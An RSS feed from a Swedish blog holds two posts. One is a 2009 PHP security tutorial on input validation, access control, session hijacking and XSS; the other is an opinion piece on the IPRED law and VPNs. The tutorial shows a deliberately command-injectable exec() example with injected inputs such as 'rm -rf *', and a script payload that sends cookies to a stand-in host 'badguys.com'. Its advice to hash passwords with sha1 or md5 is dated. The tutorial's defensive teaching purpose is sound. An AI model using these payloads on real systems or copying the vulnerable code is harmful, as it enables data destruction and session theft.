<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Från skog till web &#187; SSL</title>
	<atom:link href="http://txc.se/tag/ssl/feed/" rel="self" type="application/rss+xml" />
	<link>http://txc.se</link>
	<description>Om att se livet från olika sidor</description>
	<lastBuildDate>Sat, 19 Jun 2010 21:49:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>PHP Säkerhet</title>
		<link>http://txc.se/2009/04/php-sakerhet/</link>
		<comments>http://txc.se/2009/04/php-sakerhet/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 19:43:04 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Säkerhet]]></category>
		<category><![CDATA[Webben]]></category>
		<category><![CDATA[kapning]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sessioner]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=37</guid>
		<description><![CDATA[PHP är ett utmärkt språk för snabb utveckling av dynamiska webbsidor. Det har också många möjligheter som är enkelt för nybörjare, bara att det att det inte kräver att man deklarerar variabler. Hur som helst, många av dessa möjligheter är också dess nackdel, så som att man bygger säkerhetshål som släpper in obehöriga till webbsidan. [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a title="PHP, eller Hypertext Preprocessor, är ett open-source, ett server-sid programmers språk." href="http://www.php.net">PHP</a> är ett utmärkt språk för snabb utveckling av dynamiska webbsidor. Det har också många möjligheter som är enkelt för nybörjare, bara att det att det inte kräver att man deklarerar variabler. Hur som helst, många av dessa möjligheter är också dess nackdel, så som att man bygger säkerhetshål som släpper in obehöriga till webbsidan. Många mailinglistor, forum och bloggar rapporterar stadigt om nya säkerhetshål i PHP applikationer, men PHP kan vara lika säkert som vilket annat språk som helst om man bara förstår dom vanligaste missarna man kan göra.</strong></p>
<p>Jag skall gå igenom dom vanligaste missarna som kan resultera i säkerhetshål och visa exempel på hur man kan göra för att undvika detta. Jag hoppas att du som läsare skall förstå hur man kan undvika detta. Genom att förstå varje miss hjälper dig att undvika misstagen i dina script.</p>
<p>Säkerhet är en process, inte en produkt, och genom att ha en tänka på säkerheten när man programmerar sin applikation så kommer du att producera en tätare och mer robust kod.<br />
<span id="more-37"></span></p>
<h2>Ej kontrollerade inmatningar</h2>
<p>Ett av dom (om inte det) vanligaste säkerhetshålet i PHP är icke kontrollerad data. När en användare som kan fylla i formulär kan helt enkelt inte bli litad på. Du skall alltid anta att varje användare som kommer att använda din applikation är illvillig, för att det är alltid någon som kommer att bli det. Ej kontrollerad eller ej korrekt kontrollerad är grunden till att många brister förekommer. Men vi kommer till det senare.</p>
<p>Som ett exempel, du kommer att skriva följande kod för att tillåta en användare att visa en kalender som visar en specifik månad genom att anropa UNIX kommandot &#8221;<em>cal</em>&#8221;.</p>
<pre name="code" class="php">$month = $_GET['month'];
$year = $_GET['year'];

exec("cal $month $year", $result);
print "&lt;PRE&gt;";
foreach ($result as $r) { print "$r&lt;BR&gt;"; }
print "&lt;/PRE&gt;";</pre>
<p>Denna koden har ett stort säkerhetshål, detta genom att den <em>$_GET['month']</em> och <em>$_GET['year']</em> blir inte validerade på något sätt. Applikationen gör exakt vad den skall göra, så länge <em>month </em>är ett värde mellan 1 och 12, och <em>year</em> är ett korrekt 4-siffrigt årtal. Men, en elak användare kanske skriver &#8221;<em>ls -l</em>&#8221; istället för ett årtal och kan därmed se en listning av hela din webbsidas html katalog. En extremt elak användare kan skriva &#8221;<em>rm -rf *</em>&#8221; istället och därmed radera hela din websida!</p>
<p>Den korrekta vägen att göra detta är att kontrollera att <em>year</em> och <em>month</em> verkligen är vad du vill att det skall vara. Använd inte JavaScript för denna kontroll; denna form av validering kommer man enkelt runt genom att skapa ett eget formulär eller genom att stänga av javascript. Javascript validering här är bra på ett sätt, att kontrollera formuläret och underrätta användaren om att inmatningen är felaktig. För att göra detta korrekt behöver du lägga till PHP kod som försäkrar dig om att <em>month och </em>year är siffror och enbart siffror, som jag visar nedan.</p>
<pre name="code" class="php">$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Felaktig månad");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Felaktigt årtal");

exec("cal $month $year", $result);
print "&lt;PRE&gt;";
foreach ($result as $r) { print "$r&lt;BR&gt;"; }
print "&lt;/PRE&gt;";</pre>
<p>Denna kod kan användas utan att oroa sig för att en användare skall utnyttja något säkerhetshål. Eftersom den tillåter bara siffror. Reguljära uttryck är ett fantastiskt verktyg att använda för att validera inmatningar. De kan vara svåra att få ett grepp om, men när man lärt sig det så är det otroligt kraftfullt att använda. Speciellt i sådana här fall.</p>
<p>Du skall alltid när du validerar användardata neka allting som inte stämmer överrens med det du vill ha. Gå aldrig den vägen att du godkänner allting utom det du vet är skadligt, detta är en känd källa av säkerhetshål. Ibland kommer skadliga användare runt detta genom att till exempel, genom att inkludera skadlig data genom att förvränga det med <em>null</em> tecken. Detta skulle godkännas i din kontroll, men skulle ha en skadlig effekt.</p>
<p>Du skall vara så restriktiv du bara kan när du validerar data. Om några tecken inte behöver inkluderas, så skall du kapa bort dom eller neka det helt och hållet.</p>
<h2>Åtkomstkontroll</h2>
<p>En annan typ av säkerhetshål, som inte enbart är för PHP, utan är viktig hur som helst, är åtkomstkontroller. Denna brist kan bokstavligen röra om det i skallen på en, speciellt om du har vissa sektioner där din applikation måste vara begränsad till vissa användare, så som att administrations sidan tillåts att göra vissa ändringar, eller visa känslig information.</p>
<p>Du skall kontrollera användarens rättigheter vid varje laddning av sidan i din PHP applikation. Om du enbart kontrollerar användarens uppgifter vid index sidan, en elak användare kan skriva in URLen till en &#8221;djupare&#8221; sida, vilket skulle innebära att han kommer förbi denna kontroll.</p>
<p>Den är också bra att man lägger till ett lager av säkerhet till, till exempel, genom att enbart tillåta användarens tillgång genom dennes IP och användarnamn, om du har turen att användarna har ett förutsägbart eller statiskt tilldelat IP. Genom att placera dina filer i en katalog som är skyddad av Apaches .htaccess är också en bra början.</p>
<p>Man skall också placera konfigurations filer utanför html katalogen. Konfigurationsfilerna innehåller oftast uppgifter för databas anslutning och annan information som kan användas av en elak användare för att penetrera eller vanställa din sida, tillåt aldrig att dessa filer att bli visade för någon användare. Använd PHPs <em>include</em> funktion för att inkludera filer från en katalog som man inte kommer åt från webben, tex en katalog &#8221;<em>_includes</em>&#8221;, där det finns en <em>.htaccess</em> som innehåller <em>deny from all</em>. Detta är redundant, så alla kataloger i denna katalog skyddas också.</p>
<p>För mina PHP applikationer, så föredrar jag en katalog struktur som visas nedan. Alla funktioner, classer &amp; konfigurations filer är lagrade i <em>_includes</em>. Spara alltid filer som skall inkluderas med .php filändelsen, så även om skyddet faller så kommer webbservern att interpretera PHP koden, och inte visa något för användaren. www &amp; admin är kataloger som bara kan nås via en URL, admin katalogen skyddas även av en <em>.htaccess</em>, och tillåter tillträde enbart om användarnamn och lösenord finns sparade i <em>.htpasswd</em> i roten.<br />
<code><br />
/home<br />
&nbsp; /httpd<br />
&nbsp; &nbsp; /www.example.com<br />
&nbsp; &nbsp; .htpasswd<br />
&nbsp; &nbsp; /includes<br />
&nbsp; &nbsp; &nbsp; cart.class.php<br />
&nbsp; &nbsp; &nbsp; config.php<br />
&nbsp; &nbsp; /logs<br />
&nbsp; &nbsp; &nbsp; access_log<br />
&nbsp; &nbsp; &nbsp; error_log<br />
&nbsp; &nbsp; /www<br />
&nbsp; &nbsp; &nbsp; index.php<br />
&nbsp; &nbsp; &nbsp; /admin<br />
&nbsp; &nbsp; &nbsp; &nbsp; .htaccess<br />
&nbsp; &nbsp; &nbsp; &nbsp; index.php<br />
</code><br />
Du skall ställa in så att Apache indexerar <em>index.php</em> och visar den som standard, detta är oftast redan gjort om man har PHP installerat.</p>
<p>Gör aldrig, aldrig en backup av en PHP fil genom att genom att lägga till/byta ut filändelsen mot .bak eller någon annan filändelse. Beroende på din webbserver du använder (Apache har tacksamt skydd mot detta), så kommer PHP koden i filen inte att interpreteras, och det kan hända att den skriver ut koden i klartext, om denna fil skulle innehålla lösenord eller annan känslig information så skulle detta visas för användaren, det kan till och med synas i sökresultaten hos en sökmotor. Döp istället om filen till <em>.bak.php</em> istället. Den bästa lösningen är använda ett revisions system som tex. CVS eller SVN, båda kan vara komplicerade att lära sig, men tiden du spenderar på det kommer att betala sig väl på många sätt. Systemet sparar vartenda version av varje fil i ditt projekt, vilket kan vara ovärdeligt när en ändring skapar problem senare.</p>
<h2>Session ID Skydd</h2>
<p>Session ID kapning kan vara ett problem med PHP webbsidor. PHP spårning komponent använder ett unikt ID för varje användares session, men om detta ID blir känt för en annan användare, så kan den personen kapa sessionen och därmed se informationen som skall vara skyddad för denne. Session ID kapning kan inte bli helt säker, men om du känner till riskerna så kan du förebygga det väl.</p>
<p>Exempelvis, även efter att en användare har blivit validerad och tilldelat en sessions ID, så skall du alltid validera denne varje gång den gör något känsligt, så som att denne byter användarnamn, lösenord mm. Tillåt aldrig en sessions validerad användare att ändra lösenord utan att låta dom fylla i det gamla lösenordet också. Du skall också försöka låta bli att visa särskilt känslig information, som tex. kreditkortsnummer, till en användare som bara är validerad genom en session.</p>
<p>En användare som skapar en ny session genom att logga skall alltid få ett nytt sessions ID genom att använda <em>session_regenerate_id</em> funktionen. En kapad användare kommer att försöka använda det gamla sessions ID innan man loggade in.</p>
<p>Om din webbsida hanterar kritisk information som tex kreditkortsnummer, använd alltid SSL anslutning. Detta kommer att hjälpa till att förebygga risken för kapning, eftersom man inte kan <em>sniffa</em> trafiken.</p>
<p>Om din webbsida körs på en delat Webserver, var uppmärksam på att vilken sessions variablar som helst kan bli visade för vilken annan användare på samma server. För att mildra detta så kan man spara all känslig information i databasen, istället för i sessionen. Om du måste spara ett lösenord i en session (och jag påpekar att detta bör man inte göra!) så spara det inte i klartext, använd istället <em>sha1()</em> (PHP 4.3+) eller <em>md5()</em> för att spara en hash av lösenordet istället.</p>
<pre name="code" class="php">if ($_SESSION['password'] == $userpass) {
// gör känsliga saker här
}</pre>
<p>Koden ovanför är inte säker, eftersom lösenordet är sparat i ren text i variabeln. Istället använd kod mer som denna.</p>
<pre name="code" class="php">if ($_SESSION['sha1password'] == sha1($userpass)) {
// gör känsliga saker här
}</pre>
<div>SHA-1 algoritmen är inte utan dess brister, och den snabba utvecklingen i dator krat gör det möjligt att generera vad som är känt att kallas kollisioner (olika strängar med samma SHA-1 summa). Men ovanstående teknik är fortfarande ett överlägset sätt än att spara lösenord i klartext. Använd MD5 om du måste, eftersom det är bättre än att använda klartext, men kom ihåg att senaste tidens utveckling gör det möjligt att skapa MD5 kollisioner på mindre än en timme med en standard dator. Idealet, vore att använda en funktion som implementerar SHA-256, vilket man kan använda med <em>hash()</em>.</div>
<h2>Cross Site Scripting (XSS) Brister</h2>
<p>Cross site scripting, eller XSS, brister är ett samlingsnamn där en användare har fått möjligheten att bädda in script kommandon, vanligen JavaScript, i data som blir visade och därmed körs dom av en annan användare.</p>
<p>Till exempel, din applikation har ett forum där personer kan posta inlägg som läses av andra användare, en elak användare kan bädda in en &lt;script&gt; tagg, som visas nedan, vilket skulle innebära att sidan laddas om till en annan sida som är kontrollerad av dom, och skickar med cookie informationen och sessions information som $GET variablar till deras sida, och skickar sedan tillbaka dig som om ingenting har hänt. En elak användare kan därmed hämta alla andra användares cookies och session information, och använda denna inforamtion för en sessions kapning (se ovan) eller en annan attack mot sidan.</p>
<pre name="code" class="js">&lt;script&gt;
document.location =
	'http://www.badguys.com/cgi-bin/cookie.php?' +
	document.cookie;
&lt;/script&gt;</pre>
<p>För att motverka denna formen av attack så måste du vara försiktig när du visar information som användare har publicerat. Den enklaste vägen att skydda sig mot detta är att escape:a alla tecken som används i HTML syntax (särskilt &amp;lt; och &amp;gt;) för att bli HTML kodade (&amp;amp;lt; och &amp;amp;gt;), så att den inskickade datan helt enkelt publiceras som ren text. Använd PHPs htmlspecialchars funktionen för detta bruk.<br />
Om din applikation kräver att användarna skall kunna skicka HTML innehåll och det skall behandlas så, så bör du istället filtrera bort potientiella skadliga taggar såsom &lt;script&gt;. Detta är bäst gjort när innehållet först är inskickat, och kommer att kräva lite reguljära uttryck.</p>
<p><a href="http://www.cgisecurity.com/xss-faq.html">Cross Site Scripting FAQ</a> på <a href="http://www.cgisecurity.com/">cgisecurity.com</a> ger mycket mer information och bakgrund till denna typ av brist och förklarar det mycket väl. Det är en läsning jag verkligen rekommenderar och hoppas ni förstår den. XSS brister kan vara svårt att se och det kan hända den bäste när man bygger en applikation.</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/04/php-sakerhet/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>IPRED &amp; Samhället</title>
		<link>http://txc.se/2009/04/ipred-samhallet/</link>
		<comments>http://txc.se/2009/04/ipred-samhallet/#comments</comments>
		<pubDate>Sat, 18 Apr 2009 19:03:43 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Blogg]]></category>
		<category><![CDATA[Samhället]]></category>
		<category><![CDATA[IPRED]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[NTFS]]></category>
		<category><![CDATA[Proxy]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=30</guid>
		<description><![CDATA[Lite sent kanske att nämna detta, men eftersom det nu är mer än 2veckor sedan IPRED lagen skapades. Ett antal operatörer har gjort det flera förberedde sig på innan lagen verkställdes alltså att kringå lagen med Proxys &#38; VPN, vitsen här är att den host som kör processen inte hanterar loggar, alltså man kan inte [...]]]></description>
			<content:encoded><![CDATA[<p>Lite sent kanske att nämna detta, men eftersom det nu är mer än 2veckor sedan IPRED lagen skapades.</p>
<p>Ett antal operatörer har gjort det flera förberedde sig på innan lagen verkställdes alltså att kringå lagen med Proxys &amp; <abbr title="Virtual Private Network">VPN</abbr>, vitsen här är att den host som kör processen inte hanterar loggar, alltså man kan inte spåra personen. Nu har operatörerna (Bahnhof, AllTele &amp; Net@Once) börjat göra samma sak.</p>
<p>Daniel Östlund nämner detta i ett blogg-inlägg <a title="Nackdelen med Lagen om Elektronisk Kommunikation" href="http://daniel.rrnet.se/2009/04/nackdelen-med-lagen-om-elektronisk-kommunikation/">Nackdelen med Lagen om Elektronisk Kommunikation</a> där han och jag diskuterar ett hett ämne som ingen av dessa operatörer har tänkt på. Pedofilerna &amp; Barnpornografi.</p>
<p>Som förälder &amp; medborgare i ett land där signalspaning &amp; övervakning snart kommer att ske i var mans hem (<a title="FRA-lagen" href="http://sv.wikipedia.org/wiki/FRA-lagen">FRA-lagen</a>) så slår det mig så här i efterhand att varför har ingen tänkt på detta innan?</p>
<p>Brottslingar som har verkligen har något att dölja har kunnat göra detta innan. Ett SSL-certifikat på en webbhost tar inte många minuter att sätta upp, ett VPN tar knappt 1h &amp; en proxy tar mindre än 5minuter att sätta upp.</p>
<p>Den som verkligen har något att dölja kan göra det utan problem. Där operatörerna står och kliar sig i skallen och undrar vad gick fel. Dagens teknik är flera steg framför myndigheterna. Bara <abbr title="New Technology File System">NTFS</abbr> möjligheter för kryptering, har för mig att jag läst att Microsoft har erbjudit en belöning för den som knäcker krypteringen. Jag är inget stort fan av Microsoft men <abbr title="New Technology File System">NTFS</abbr> är det som dom verkligen har gjort rätt på.</p>
<p><strong>IPRED är en lag som har kommit för att Hollywood trycker på Sverige.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/04/ipred-samhallet/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
